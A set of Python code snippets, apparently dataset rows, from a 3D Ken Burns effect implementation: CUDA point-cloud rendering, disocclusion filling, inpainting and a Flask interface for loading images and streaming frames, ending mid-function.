numpy.linspace(-objSettings['fltShift'], objSettings['fltShift'], 16)[None, :].repeat(16, 0) npyShiftV = numpy.linspace(-objSettings['fltShift'], objSettings['fltShift'], 16)[:, None].repeat(16, 1) fltCropWidth = objSettings['objFrom']['intCropWidth'] / objSettings['fltZoom'] fltCropHeight = objSettings['objFrom']['intCropHeight'] / objSettings['fltZoom'] fltDepthFrom = objCommon['objDepthrange'][0] fltDepthTo = objCommon['objDepthrange'][0] * (fltCropWidth / objSettings['objFrom']['intCropWidth']) fltBest = 0.0 fltBestU = None fltBestV = None for intU in range(16): for intV in range(16): fltShiftU = npyShiftU[intU, intV].item() fltShiftV = npyShiftV[intU, intV].item() if objSettings['objFrom']['fltCenterU'] + fltShiftU < fltCropWidth / 2.0: continue elif objSettings['objFrom']['fltCenterU'] + fltShiftU > objCommon['intWidth'] - (fltCropWidth / 2.0): continue elif objSettings['objFrom']['fltCenterV'] + fltShiftV < fltCropHeight / 2.0: continue elif objSettings['objFrom']['fltCenterV'] + fltShiftV > objCommon['intHeight'] - (fltCropHeight / 2.0): continue # end tenPoints = process_shift({ 'tenPoints': objCommon['tenRawPoints'], 'fltShiftU': fltShiftU, 'fltShiftV': fltShiftV, 'fltDepthFrom': fltDepthFrom, 'fltDepthTo': fltDepthTo })[0] tenRender, tenExisting = render_pointcloud(tenPoints, objCommon['tenRawImage'].view(1, 3, -1), objCommon['intWidth'], objCommon['intHeight'], objCommon['fltFocal'], objCommon['fltBaseline']) if fltBest < (tenExisting > 0.0).float().sum().item(): fltBest = (tenExisting > 0.0).float().sum().item() fltBestU = fltShiftU fltBestV = fltShiftV # end # end # end return { 'fltCenterU': objSettings['objFrom']['fltCenterU'] + fltBestU, 'fltCenterV': objSettings['objFrom']['fltCenterV'] + fltBestV, 'intCropWidth': int(round(objSettings['objFrom']['intCropWidth'] / objSettings['fltZoom'])), 'intCropHeight': int(round(objSettings['objFrom']['intCropHeight'] / objSettings['fltZoom'])) }
null
17,328
def process_inpaint(tenShift): objInpainted = pointcloud_inpainting(objCommon['tenRawImage'], objCommon['tenRawDisparity'], tenShift) objInpainted['tenDepth'] = (objCommon['fltFocal'] * objCommon['fltBaseline']) / (objInpainted['tenDisparity'] + 0.0000001) objInpainted['tenValid'] = (spatial_filter(objInpainted['tenDisparity'] / objInpainted['tenDisparity'].max(), 'laplacian').abs() < 0.03).float() objInpainted['tenPoints'] = depth_to_points(objInpainted['tenDepth'] * objInpainted['tenValid'], objCommon['fltFocal']) objInpainted['tenPoints'] = objInpainted['tenPoints'].view(1, 3, -1) objInpainted['tenPoints'] = objInpainted['tenPoints'] - tenShift tenMask = (objInpainted['tenExisting'] == 0.0).view(1, 1, -1) objCommon['tenInpaImage'] = torch.cat([ objCommon['tenInpaImage'], objInpainted['tenImage'].view(1, 3, -1)[tenMask.repeat(1, 3, 1)].view(1, 3, -1) ], 2) objCommon['tenInpaDisparity'] = torch.cat([ objCommon['tenInpaDisparity'], objInpainted['tenDisparity'].view(1, 1, -1)[tenMask.repeat(1, 1, 1)].view(1, 1, -1) ], 2) objCommon['tenInpaDepth'] = torch.cat([ objCommon['tenInpaDepth'], objInpainted['tenDepth'].view(1, 1, -1)[tenMask.repeat(1, 1, 1)].view(1, 1, -1) ], 2) objCommon['tenInpaPoints'] = torch.cat([ objCommon['tenInpaPoints'], objInpainted['tenPoints'].view(1, 3, -1)[tenMask.repeat(1, 3, 1)].view(1, 3, -1) ], 2) def process_shift(objSettings): fltClosestDepth = objCommon['objDepthrange'][0] + (objSettings['fltDepthTo'] - objSettings['fltDepthFrom']) fltClosestFromU = objCommon['objDepthrange'][2][0] fltClosestFromV = objCommon['objDepthrange'][2][1] fltClosestToU = fltClosestFromU + objSettings['fltShiftU'] fltClosestToV = fltClosestFromV + objSettings['fltShiftV'] fltClosestFromX = ((fltClosestFromU - (objCommon['intWidth'] / 2.0)) * fltClosestDepth) / objCommon['fltFocal'] fltClosestFromY = ((fltClosestFromV - (objCommon['intHeight'] / 2.0)) * fltClosestDepth) / objCommon['fltFocal'] fltClosestToX = ((fltClosestToU - (objCommon['intWidth'] / 2.0)) * fltClosestDepth) / objCommon['fltFocal'] fltClosestToY = ((fltClosestToV - (objCommon['intHeight'] / 2.0)) * fltClosestDepth) / objCommon['fltFocal'] fltShiftX = fltClosestFromX - fltClosestToX fltShiftY = fltClosestFromY - fltClosestToY fltShiftZ = objSettings['fltDepthTo'] - objSettings['fltDepthFrom'] tenShift = torch.tensor(data=[[[fltShiftX], [fltShiftY], [fltShiftZ]]], dtype=torch.float32, device=torch.device('cuda')) tenPoints = objSettings['tenPoints'].clone() tenPoints[:, 0:1, :] *= tenPoints[:, 2:3, :] / (objSettings['tenPoints'][:, 2:3, :] + 0.0000001) tenPoints[:, 1:2, :] *= tenPoints[:, 2:3, :] / (objSettings['tenPoints'][:, 2:3, :] + 0.0000001) tenPoints += tenShift return tenPoints, tenShift def render_pointcloud(tenInput, tenData, intWidth, intHeight, fltFocal, fltBaseline): tenData = torch.cat([ tenData, tenData.new_ones([ tenData.shape[0], 1, tenData.shape[2] ]) ], 1) tenZee = tenInput.new_zeros([ tenData.shape[0], 1, intHeight, intWidth ]).fill_(1000000.0) tenOutput = tenInput.new_zeros([ tenData.shape[0], tenData.shape[1], intHeight, intWidth ]) n = tenInput.shape[0] * tenInput.shape[2] launch_kernel('kernel_pointrender_updateZee', preprocess_kernel(''' extern "C" __global__ void kernel_pointrender_updateZee( const int n, const float* input, const float* data, const float* zee ) { for (int intIndex = (blockIdx.x * blockDim.x) + threadIdx.x; intIndex < n; intIndex += blockDim.x * gridDim.x) { const int intSample = ( intIndex / SIZE_2(input) ) % SIZE_0(input); const int intPoint = ( intIndex ) % SIZE_2(input); assert(SIZE_1(input) == 3); assert(SIZE_1(zee) == 1); float3 fltPlanePoint = make_float3(0.0, 0.0, {{fltFocal}}); float3 fltPlaneNormal = make_float3(0.0, 0.0, 1.0); float3 fltLinePoint = make_float3(VALUE_3(input, intSample, 0, intPoint), VALUE_3(input, intSample, 1, intPoint), VALUE_3(input, intSample, 2, intPoint)); float3 fltLineVector = make_float3(0.0, 0.0, 0.0) - fltLinePoint; if (fltLinePoint.z < 0.001) { return; } float fltNumerator = dot(fltPlanePoint - fltLinePoint, fltPlaneNormal); float fltDenominator = dot(fltLineVector, fltPlaneNormal); float fltDistance = fltNumerator / fltDenominator; if (fabs(fltDenominator) < 0.001) { return; } float3 fltIntersection = fltLinePoint + (fltDistance * fltLineVector); // https://en.wikipedia.org/wiki/Line%E2%80%93plane_intersection float fltOutputX = fltIntersection.x + (0.5 * SIZE_3(zee)) - 0.5; float fltOutputY = fltIntersection.y + (0.5 * SIZE_2(zee)) - 0.5; float fltError = 1000000.0 - (({{fltFocal}} * {{fltBaseline}}) / (fltLinePoint.z + 0.0000001)); int intNorthwestX = (int) (floor(fltOutputX)); int intNorthwestY = (int) (floor(fltOutputY)); int intNortheastX = intNorthwestX + 1; int intNortheastY = intNorthwestY; int intSouthwestX = intNorthwestX; int intSouthwestY = intNorthwestY + 1; int intSoutheastX = intNorthwestX + 1; int intSoutheastY = intNorthwestY + 1; float fltNorthwest = (intSoutheastX - fltOutputX) * (intSoutheastY - fltOutputY); float fltNortheast = (fltOutputX - intSouthwestX) * (intSouthwestY - fltOutputY); float fltSouthwest = (intNortheastX - fltOutputX) * (fltOutputY - intNortheastY); float fltSoutheast = (fltOutputX - intNorthwestX) * (fltOutputY - intNorthwestY); if ((fltNorthwest >= fltNortheast) && (fltNorthwest >= fltSouthwest) && (fltNorthwest >= fltSoutheast)) { if ((intNorthwestX >= 0) && (intNorthwestX < SIZE_3(zee)) && (intNorthwestY >= 0) && (intNorthwestY < SIZE_2(zee))) { atomicMin(&zee[OFFSET_4(zee, intSample, 0, intNorthwestY, intNorthwestX)], fltError); } } else if ((fltNortheast >= fltNorthwest) && (fltNortheast >= fltSouthwest) && (fltNortheast >= fltSoutheast)) { if ((intNortheastX >= 0) && (intNortheastX < SIZE_3(zee)) && (intNortheastY >= 0) && (intNortheastY < SIZE_2(zee))) { atomicMin(&zee[OFFSET_4(zee, intSample, 0, intNortheastY, intNortheastX)], fltError); } } else if ((fltSouthwest >= fltNorthwest) && (fltSouthwest >= fltNortheast) && (fltSouthwest >= fltSoutheast)) { if ((intSouthwestX >= 0) && (intSouthwestX < SIZE_3(zee)) && (intSouthwestY >= 0) && (intSouthwestY < SIZE_2(zee))) { atomicMin(&zee[OFFSET_4(zee, intSample, 0, intSouthwestY, intSouthwestX)], fltError); } } else if ((fltSoutheast >= fltNorthwest) && (fltSoutheast >= fltNortheast) && (fltSoutheast >= fltSouthwest)) { if ((intSoutheastX >= 0) && (intSoutheastX < SIZE_3(zee)) && (intSoutheastY >= 0) && (intSoutheastY < SIZE_2(zee))) { atomicMin(&zee[OFFSET_4(zee, intSample, 0, intSoutheastY, intSoutheastX)], fltError); } } } } ''', { 'intWidth': intWidth, 'intHeight': intHeight, 'fltFocal': fltFocal, 'fltBaseline': fltBaseline, 'input': tenInput, 'data': tenData, 'zee': tenZee }))( grid=tuple([ int((n + 512 - 1) / 512), 1, 1 ]), block=tuple([ 512, 1, 1 ]), args=[ cupy.int32(n), tenInput.data_ptr(), tenData.data_ptr(), tenZee.data_ptr() ] ) n = tenZee.nelement() launch_kernel('kernel_pointrender_updateDegrid', preprocess_kernel(''' extern "C" __global__ void kernel_pointrender_updateDegrid( const int n, const float* input, const float* data, float* zee ) { for (int intIndex = (blockIdx.x * blockDim.x) + threadIdx.x; intIndex < n; intIndex += blockDim.x * gridDim.x) { const int intN = ( intIndex / SIZE_3(zee) / SIZE_2(zee) / SIZE_1(zee) ) % SIZE_0(zee); const int intC = ( intIndex / SIZE_3(zee) / SIZE_2(zee) ) % SIZE_1(zee); const int intY = ( intIndex / SIZE_3(zee) ) % SIZE_2(zee); const int intX = ( intIndex ) % SIZE_3(zee); assert(SIZE_1(input) == 3); assert(SIZE_1(zee) == 1); int intCount = 0; float fltSum = 0.0; int intOpposingX[] = { 1, 0, 1, 1 }; int intOpposingY[] = { 0, 1, 1, -1 }; for (int intOpposing = 0; intOpposing < 4; intOpposing += 1) { int intOneX = intX + intOpposingX[intOpposing]; int intOneY = intY + intOpposingY[intOpposing]; int intTwoX = intX - intOpposingX[intOpposing]; int intTwoY = intY - intOpposingY[intOpposing]; if ((intOneX < 0) | (intOneX >= SIZE_3(zee)) | (intOneY < 0) | (intOneY >= SIZE_2(zee))) { continue; } else if ((intTwoX < 0) | (intTwoX >= SIZE_3(zee)) | (intTwoY < 0) | (intTwoY >= SIZE_2(zee))) { continue; } if (VALUE_4(zee, intN, intC, intY, intX) >= VALUE_4(zee, intN, intC, intOneY, intOneX) + 1.0) { if (VALUE_4(zee, intN, intC, intY, intX) >= VALUE_4(zee, intN, intC, intTwoY, intTwoX) + 1.0) { intCount += 2; fltSum += VALUE_4(zee, intN, intC, intOneY, intOneX); fltSum += VALUE_4(zee, intN, intC, intTwoY, intTwoX); } } } if (intCount > 0) { zee[OFFSET_4(zee, intN, intC, intY, intX)] = min(VALUE_4(zee, intN, intC, intY, intX), fltSum / intCount); } } } ''', { 'intWidth': intWidth, 'intHeight': intHeight, 'fltFocal': fltFocal, 'fltBaseline': fltBaseline, 'input': tenInput, 'data': tenData, 'zee': tenZee }))( grid=tuple([ int((n + 512 - 1) / 512), 1, 1 ]), block=tuple([ 512, 1, 1 ]), args=[ cupy.int32(n), tenInput.data_ptr(), tenData.data_ptr(), tenZee.data_ptr() ] ) n = tenInput.shape[0] * tenInput.shape[2] launch_kernel('kernel_pointrender_updateOutput', preprocess_kernel(''' extern "C" __global__ void kernel_pointrender_updateOutput( const int n, const float* input, const float* data, const float* zee, float* output ) { for (int intIndex = (blockIdx.x * blockDim.x) + threadIdx.x; intIndex < n; intIndex += blockDim.x * gridDim.x) { const int intSample = ( intIndex / SIZE_2(input) ) % SIZE_0(input); const int intPoint = ( intIndex ) % SIZE_2(input); assert(SIZE_1(input) == 3); assert(SIZE_1(zee) == 1); float3 fltPlanePoint = make_float3(0.0, 0.0, {{fltFocal}}); float3 fltPlaneNormal = make_float3(0.0, 0.0, 1.0); float3 fltLinePoint = make_float3(VALUE_3(input, intSample, 0, intPoint), VALUE_3(input, intSample, 1, intPoint), VALUE_3(input, intSample, 2, intPoint)); float3 fltLineVector = make_float3(0.0, 0.0, 0.0) - fltLinePoint; if (fltLinePoint.z < 0.001) { return; } float fltNumerator = dot(fltPlanePoint - fltLinePoint, fltPlaneNormal); float fltDenominator = dot(fltLineVector, fltPlaneNormal); float fltDistance = fltNumerator / fltDenominator; if (fabs(fltDenominator) < 0.001) { return; } float3 fltIntersection = fltLinePoint + (fltDistance * fltLineVector); // https://en.wikipedia.org/wiki/Line%E2%80%93plane_intersection float fltOutputX = fltIntersection.x + (0.5 * SIZE_3(output)) - 0.5; float fltOutputY = fltIntersection.y + (0.5 * SIZE_2(output)) - 0.5; float fltError = 1000000.0 - (({{fltFocal}} * {{fltBaseline}}) / (fltLinePoint.z + 0.0000001)); int intNorthwestX = (int) (floor(fltOutputX)); int intNorthwestY = (int) (floor(fltOutputY)); int intNortheastX = intNorthwestX + 1; int intNortheastY = intNorthwestY; int intSouthwestX = intNorthwestX; int intSouthwestY = intNorthwestY + 1; int intSoutheastX = intNorthwestX + 1; int intSoutheastY = intNorthwestY + 1; float fltNorthwest = (intSoutheastX - fltOutputX) * (intSoutheastY - fltOutputY); float fltNortheast = (fltOutputX - intSouthwestX) * (intSouthwestY - fltOutputY); float fltSouthwest = (intNortheastX - fltOutputX) * (fltOutputY - intNortheastY); float fltSoutheast = (fltOutputX - intNorthwestX) * (fltOutputY - intNorthwestY); if ((intNorthwestX >= 0) && (intNorthwestX < SIZE_3(output)) && (intNorthwestY >= 0) && (intNorthwestY < SIZE_2(output))) { if (fltError <= VALUE_4(zee, intSample, 0, intNorthwestY, intNorthwestX) + 1.0) { for (int intData = 0; intData < SIZE_1(data); intData += 1) { atomicAdd(&output[OFFSET_4(output, intSample, intData, intNorthwestY, intNorthwestX)], VALUE_3(data, intSample, intData, intPoint) * fltNorthwest); } } } if ((intNortheastX >= 0) && (intNortheastX < SIZE_3(output)) && (intNortheastY >= 0) && (intNortheastY < SIZE_2(output))) { if (fltError <= VALUE_4(zee, intSample, 0, intNortheastY, intNortheastX) + 1.0) { for (int intData = 0; intData < SIZE_1(data); intData += 1) { atomicAdd(&output[OFFSET_4(output, intSample, intData, intNortheastY, intNortheastX)], VALUE_3(data, intSample, intData, intPoint) * fltNortheast); } } } if ((intSouthwestX >= 0) && (intSouthwestX < SIZE_3(output)) && (intSouthwestY >= 0) && (intSouthwestY < SIZE_2(output))) { if (fltError <= VALUE_4(zee, intSample, 0, intSouthwestY, intSouthwestX) + 1.0) { for (int intData = 0; intData < SIZE_1(data); intData += 1) { atomicAdd(&output[OFFSET_4(output, intSample, intData, intSouthwestY, intSouthwestX)], VALUE_3(data, intSample, intData, intPoint) * fltSouthwest); } } } if ((intSoutheastX >= 0) && (intSoutheastX < SIZE_3(output)) && (intSoutheastY >= 0) && (intSoutheastY < SIZE_2(output))) { if (fltError <= VALUE_4(zee, intSample, 0, intSoutheastY, intSoutheastX) + 1.0) { for (int intData = 0; intData < SIZE_1(data); intData += 1) { atomicAdd(&output[OFFSET_4(output, intSample, intData, intSoutheastY, intSoutheastX)], VALUE_3(data, intSample, intData, intPoint) * fltSoutheast); } } } } } ''', { 'intWidth': intWidth, 'intHeight': intHeight, 'fltFocal': fltFocal, 'fltBaseline': fltBaseline, 'input': tenInput, 'data': tenData, 'zee': tenZee, 'output': tenOutput }))( grid=tuple([ int((n + 512 - 1) / 512), 1, 1 ]), block=tuple([ 512, 1, 1 ]), args=[ cupy.int32(n), tenInput.data_ptr(), tenData.data_ptr(), tenZee.data_ptr(), tenOutput.data_ptr() ] ) return tenOutput[:, :-1, :, :] / (tenOutput[:, -1:, :, :] + 0.0000001), tenOutput[:, -1:, :, :].detach().clone() def fill_disocclusion(tenInput, tenDepth): tenOutput = tenInput.clone() n = tenInput.shape[0] * tenInput.shape[2] * tenInput.shape[3] launch_kernel('kernel_discfill_updateOutput', preprocess_kernel(''' extern "C" __global__ void kernel_discfill_updateOutput( const int n, const float* input, const float* depth, float* output ) { for (int intIndex = (blockIdx.x * blockDim.x) + threadIdx.x; intIndex < n; intIndex += blockDim.x * gridDim.x) { const int intSample = ( intIndex / SIZE_3(input) / SIZE_2(input) ) % SIZE_0(input); const int intY = ( intIndex / SIZE_3(input) ) % SIZE_2(input); const int intX = ( intIndex ) % SIZE_3(input); assert(SIZE_1(depth) == 1); if (VALUE_4(depth, intSample, 0, intY, intX) > 0.0) { return; } float fltShortest = 1000000.0; int intFillX = -1; int intFillY = -1; float fltDirectionX[] = { -1, 0, 1, 1, -1, 1, 2, 2, -2, -1, 1, 2, 3, 3, 3, 3 }; float fltDirectionY[] = { 1, 1, 1, 0, 2, 2, 1, -1, 3, 3, 3, 3, 2, 1, -1, -2 }; for (int intDirection = 0; intDirection < 16; intDirection += 1) { float fltNormalize = sqrt((fltDirectionX[intDirection] * fltDirectionX[intDirection]) + (fltDirectionY[intDirection] * fltDirectionY[intDirection])); fltDirectionX[intDirection] /= fltNormalize; fltDirectionY[intDirection] /= fltNormalize; } for (int intDirection = 0; intDirection < 16; intDirection += 1) { float fltFromX = intX; int intFromX = 0; float fltFromY = intY; int intFromY = 0; float fltToX = intX; int intToX = 0; float fltToY = intY; int intToY = 0; do { fltFromX -= fltDirectionX[intDirection]; intFromX = (int) (round(fltFromX)); fltFromY -= fltDirectionY[intDirection]; intFromY = (int) (round(fltFromY)); if ((intFromX < 0) | (intFromX >= SIZE_3(input))) { break; } if ((intFromY < 0) | (intFromY >= SIZE_2(input))) { break; } if (VALUE_4(depth, intSample, 0, intFromY, intFromX) > 0.0) { break; } } while (true); if ((intFromX < 0) | (intFromX >= SIZE_3(input))) { continue; } if ((intFromY < 0) | (intFromY >= SIZE_2(input))) { continue; } do { fltToX += fltDirectionX[intDirection]; intToX = (int) (round(fltToX)); fltToY += fltDirectionY[intDirection]; intToY = (int) (round(fltToY)); if ((intToX < 0) | (intToX >= SIZE_3(input))) { break; } if ((intToY < 0) | (intToY >= SIZE_2(input))) { break; } if (VALUE_4(depth, intSample, 0, intToY, intToX) > 0.0) { break; } } while (true); if ((intToX < 0) | (intToX >= SIZE_3(input))) { continue; } if ((intToY < 0) | (intToY >= SIZE_2(input))) { continue; } float fltDistance = sqrt(powf(intToX - intFromX, 2) + powf(intToY - intFromY, 2)); if (fltShortest > fltDistance) { intFillX = intFromX; intFillY = intFromY; if (VALUE_4(depth, intSample, 0, intFromY, intFromX) < VALUE_4(depth, intSample, 0, intToY, intToX)) { intFillX = intToX; intFillY = intToY; } fltShortest = fltDistance; } } if (intFillX == -1) { return; } else if (intFillY == -1) { return; } for (int intDepth = 0; intDepth < SIZE_1(input); intDepth += 1) { output[OFFSET_4(output, intSample, intDepth, intY, intX)] = VALUE_4(input, intSample, intDepth, intFillY, intFillX); } } } ''', { 'input': tenInput, 'depth': tenDepth, 'output': tenOutput }))( grid=tuple([ int((n + 512 - 1) / 512), 1, 1 ]), block=tuple([ 512, 1, 1 ]), args=[ cupy.int32(n), tenInput.data_ptr(), tenDepth.data_ptr(), tenOutput.data_ptr() ] ) return tenOutput def process_kenburns(objSettings): npyOutputs = [] if 'boolInpaint' not in objSettings or objSettings['boolInpaint'] == True: objCommon['tenInpaImage'] = objCommon['tenRawImage'].view(1, 3, -1) objCommon['tenInpaDisparity'] = objCommon['tenRawDisparity'].view(1, 1, -1) objCommon['tenInpaDepth'] = objCommon['tenRawDepth'].view(1, 1, -1) objCommon['tenInpaPoints'] = objCommon['tenRawPoints'].view(1, 3, -1) for fltStep in [ 1.0 ]: fltFrom = 1.0 - fltStep fltTo = 1.0 - fltFrom fltShiftU = ((fltFrom * objSettings['objFrom']['fltCenterU']) + (fltTo * objSettings['objTo']['fltCenterU'])) - (objCommon['intWidth'] / 2.0) fltShiftV = ((fltFrom * objSettings['objFrom']['fltCenterV']) + (fltTo * objSettings['objTo']['fltCenterV'])) - (objCommon['intHeight'] / 2.0) fltCropWidth = (fltFrom * objSettings['objFrom']['intCropWidth']) + (fltTo * objSettings['objTo']['intCropWidth']) fltCropHeight = (fltFrom * objSettings['objFrom']['intCropHeight']) + (fltTo * objSettings['objTo']['intCropHeight']) fltDepthFrom = objCommon['objDepthrange'][0] fltDepthTo = objCommon['objDepthrange'][0] * (fltCropWidth / max(objSettings['objFrom']['intCropWidth'], objSettings['objTo']['intCropWidth'])) tenShift = process_shift({ 'tenPoints': objCommon['tenInpaPoints'], 'fltShiftU': fltShiftU, 'fltShiftV': fltShiftV, 'fltDepthFrom': fltDepthFrom, 'fltDepthTo': fltDepthTo })[1] process_inpaint(1.1 * tenShift) # end # end for fltStep in objSettings['fltSteps']: fltFrom = 1.0 - fltStep fltTo = 1.0 - fltFrom fltShiftU = ((fltFrom * objSettings['objFrom']['fltCenterU']) + (fltTo * objSettings['objTo']['fltCenterU'])) - (objCommon['intWidth'] / 2.0) fltShiftV = ((fltFrom * objSettings['objFrom']['fltCenterV']) + (fltTo * objSettings['objTo']['fltCenterV'])) - (objCommon['intHeight'] / 2.0) fltCropWidth = (fltFrom * objSettings['objFrom']['intCropWidth']) + (fltTo * objSettings['objTo']['intCropWidth']) fltCropHeight = (fltFrom * objSettings['objFrom']['intCropHeight']) + (fltTo * objSettings['objTo']['intCropHeight']) fltDepthFrom = objCommon['objDepthrange'][0] fltDepthTo = objCommon['objDepthrange'][0] * (fltCropWidth / max(objSettings['objFrom']['intCropWidth'], objSettings['objTo']['intCropWidth'])) tenPoints = process_shift({ 'tenPoints': objCommon['tenInpaPoints'], 'fltShiftU': fltShiftU, 'fltShiftV': fltShiftV, 'fltDepthFrom': fltDepthFrom, 'fltDepthTo': fltDepthTo })[0] tenRender, tenExisting = render_pointcloud(tenPoints, torch.cat([ objCommon['tenInpaImage'], objCommon['tenInpaDepth'] ], 1).view(1, 4, -1), objCommon['intWidth'], objCommon['intHeight'], objCommon['fltFocal'], objCommon['fltBaseline']) tenRender = fill_disocclusion(tenRender, tenRender[:, 3:4, :, :] * (tenExisting > 0.0).float()) npyOutput = (tenRender[0, 0:3, :, :].detach().cpu().numpy().transpose(1, 2, 0) * 255.0).clip(0.0, 255.0).astype(numpy.uint8) npyOutput = cv2.getRectSubPix(image=npyOutput, patchSize=(max(objSettings['objFrom']['intCropWidth'], objSettings['objTo']['intCropWidth']), max(objSettings['objFrom']['intCropHeight'], objSettings['objTo']['intCropHeight'])), center=(objCommon['intWidth'] / 2.0, objCommon['intHeight'] / 2.0)) npyOutput = cv2.resize(src=npyOutput, dsize=(objCommon['intWidth'], objCommon['intHeight']), fx=0.0, fy=0.0, interpolation=cv2.INTER_LINEAR) npyOutputs.append(npyOutput) # end return npyOutputs
null
17,329
import base64 import cupy import cv2 import flask import getopt import gevent import gevent.pywsgi import glob import h5py import io import math import moviepy import moviepy.editor import numpy import os import random import re import scipy import scipy.io import shutil import sys import tempfile import time import torch import torchvision import urllib import zipfile torch.set_grad_enabled(False) torch.backends.cudnn.enabled = True objPlayback = { 'strImage': None, 'npyImage': None, 'strMode': 'automatic', 'intTime': 0, 'fltTime': numpy.linspace(0.0, 1.0, 75).tolist() + list(reversed(numpy.linspace(0.0, 1.0, 75).tolist())), 'strCache': {}, 'objFrom': { 'fltCenterU': 512.0, 'fltCenterV': 384.0, 'intCropWidth': 1024, 'intCropHeight': 768 }, 'objTo': { 'fltCenterU': 512.0, 'fltCenterV': 384.0, 'intCropWidth': 1024, 'intCropHeight': 768 } } def load_image(): objPlayback['strImage'] = flask.request.form['strFile'] objPlayback['npyImage'] = numpy.ascontiguousarray(cv2.imdecode(buf=numpy.frombuffer(base64.b64decode(flask.request.form['strData'].split(';base64,')[1]), numpy.uint8), flags=-1)[:, :, 0:3]) objPlayback['strCache'] = {} process_load(objPlayback['npyImage'], {}) for fltX, fltY in [ (100.0, 0.0), (-100.0, 0.0), (0.0, 100.0), (0.0, -100.0) ]: process_inpaint(torch.tensor(data=[[[fltX], [fltY], [0.0]]], dtype=torch.float32, device=torch.device('cuda'))) # end return ''
null
17,330
import base64 import cupy import cv2 import flask import getopt import gevent import gevent.pywsgi import glob import h5py import io import math import moviepy import moviepy.editor import numpy import os import random import re import scipy import scipy.io import shutil import sys import tempfile import time import torch import torchvision import urllib import zipfile objPlayback = { 'strImage': None, 'npyImage': None, 'strMode': 'automatic', 'intTime': 0, 'fltTime': numpy.linspace(0.0, 1.0, 75).tolist() + list(reversed(numpy.linspace(0.0, 1.0, 75).tolist())), 'strCache': {}, 'objFrom': { 'fltCenterU': 512.0, 'fltCenterV': 384.0, 'intCropWidth': 1024, 'intCropHeight': 768 }, 'objTo': { 'fltCenterU': 512.0, 'fltCenterV': 384.0, 'intCropWidth': 1024, 'intCropHeight': 768 } } def autozoom(): objPlayback['objFrom'] = { 'fltCenterU': 512.0, 'fltCenterV': 384.0, 'intCropWidth': 1000, 'intCropHeight': 750 } objPlayback['objTo'] = process_autozoom({ 'fltShift': 100.0, 'fltZoom': 1.25, 'objFrom': objPlayback['objFrom'] }) return flask.jsonify({ 'objFrom': objPlayback['objFrom'], 'objTo': objPlayback['objTo'] })
null
17,331
import base64 import cupy import cv2 import flask import getopt import gevent import gevent.pywsgi import glob import h5py import io import math import moviepy import moviepy.editor import numpy import os import random import re import scipy import scipy.io import shutil import sys import tempfile import time import torch import torchvision import urllib import zipfile objPlayback = { 'strImage': None, 'npyImage': None, 'strMode': 'automatic', 'intTime': 0, 'fltTime': numpy.linspace(0.0, 1.0, 75).tolist() + list(reversed(numpy.linspace(0.0, 1.0, 75).tolist())), 'strCache': {}, 'objFrom': { 'fltCenterU': 512.0, 'fltCenterV': 384.0, 'intCropWidth': 1024, 'intCropHeight': 768 }, 'objTo': { 'fltCenterU': 512.0, 'fltCenterV': 384.0, 'intCropWidth': 1024, 'intCropHeight': 768 } } def update_mode(): objPlayback['strMode'] = flask.request.form['strMode'] return ''
null
17,332
import base64 import cupy import cv2 import flask import getopt import gevent import gevent.pywsgi import glob import h5py import io import math import moviepy import moviepy.editor import numpy import os import random import re import scipy import scipy.io import shutil import sys import tempfile import time import torch import torchvision import urllib import zipfile objPlayback = { 'strImage': None, 'npyImage': None, 'strMode': 'automatic', 'intTime': 0, 'fltTime': numpy.linspace(0.0, 1.0, 75).tolist() + list(reversed(numpy.linspace(0.0, 1.0, 75).tolist())), 'strCache': {}, 'objFrom': { 'fltCenterU': 512.0, 'fltCenterV': 384.0, 'intCropWidth': 1024, 'intCropHeight': 768 }, 'objTo': { 'fltCenterU': 512.0, 'fltCenterV': 384.0, 'intCropWidth': 1024, 'intCropHeight': 768 } } def index(): return objFlask.send_static_file('interface.html') def update_from(): objPlayback['intTime'] = objPlayback['fltTime'].index(0.0) objPlayback['strCache'] = {} objPlayback['objFrom']['fltCenterU'] = float(flask.request.form['fltCenterU']) objPlayback['objFrom']['fltCenterV'] = float(flask.request.form['fltCenterV']) objPlayback['objFrom']['intCropWidth'] = int(flask.request.form['intCropWidth']) objPlayback['objFrom']['intCropHeight'] = int(flask.request.form['intCropHeight']) return ''
null
17,333
import base64 import cupy import cv2 import flask import getopt import gevent import gevent.pywsgi import glob import h5py import io import math import moviepy import moviepy.editor import numpy import os import random import re import scipy import scipy.io import shutil import sys import tempfile import time import torch import torchvision import urllib import zipfile objPlayback = { 'strImage': None, 'npyImage': None, 'strMode': 'automatic', 'intTime': 0, 'fltTime': numpy.linspace(0.0, 1.0, 75).tolist() + list(reversed(numpy.linspace(0.0, 1.0, 75).tolist())), 'strCache': {}, 'objFrom': { 'fltCenterU': 512.0, 'fltCenterV': 384.0, 'intCropWidth': 1024, 'intCropHeight': 768 }, 'objTo': { 'fltCenterU': 512.0, 'fltCenterV': 384.0, 'intCropWidth': 1024, 'intCropHeight': 768 } } def index(): return objFlask.send_static_file('interface.html') def update_to(): objPlayback['intTime'] = objPlayback['fltTime'].index(1.0) objPlayback['strCache'] = {} objPlayback['objTo']['fltCenterU'] = float(flask.request.form['fltCenterU']) objPlayback['objTo']['fltCenterV'] = float(flask.request.form['fltCenterV']) objPlayback['objTo']['intCropWidth'] = int(flask.request.form['intCropWidth']) objPlayback['objTo']['intCropHeight'] = int(flask.request.form['intCropHeight']) return ''
null
17,334
import base64 import cupy import cv2 import flask import getopt import gevent import gevent.pywsgi import glob import h5py import io import math import moviepy import moviepy.editor import numpy import os import random import re import scipy import scipy.io import shutil import sys import tempfile import time import torch import torchvision import urllib import zipfile objPlayback = { 'strImage': None, 'npyImage': None, 'strMode': 'automatic', 'intTime': 0, 'fltTime': numpy.linspace(0.0, 1.0, 75).tolist() + list(reversed(numpy.linspace(0.0, 1.0, 75).tolist())), 'strCache': {}, 'objFrom': { 'fltCenterU': 512.0, 'fltCenterV': 384.0, 'intCropWidth': 1024, 'intCropHeight': 768 }, 'objTo': { 'fltCenterU': 512.0, 'fltCenterV': 384.0, 'intCropWidth': 1024, 'intCropHeight': 768 } } def get_live(): def generator(): fltFramelimiter = 0.0 while True: for intYield in range(100): gevent.sleep(0.0) gevent.sleep(max(0.0, (1.0 / 25.0) - (time.time() - fltFramelimiter))); fltFramelimiter = time.time() if objPlayback['strImage'] is None: yield b'--frame\r\nContent-Type: image/jpeg\r\n\r\n' + cv2.imencode(ext='.jpg', img=numpy.ones([ 768, 1024, 3 ], numpy.uint8) * 29, params=[ cv2.IMWRITE_JPEG_QUALITY, 80 ])[1].tobytes() + b'\r\n'; continue # end if objPlayback['intTime'] > len(objPlayback['fltTime']) - 1: objPlayback['intTime'] = 0 # end 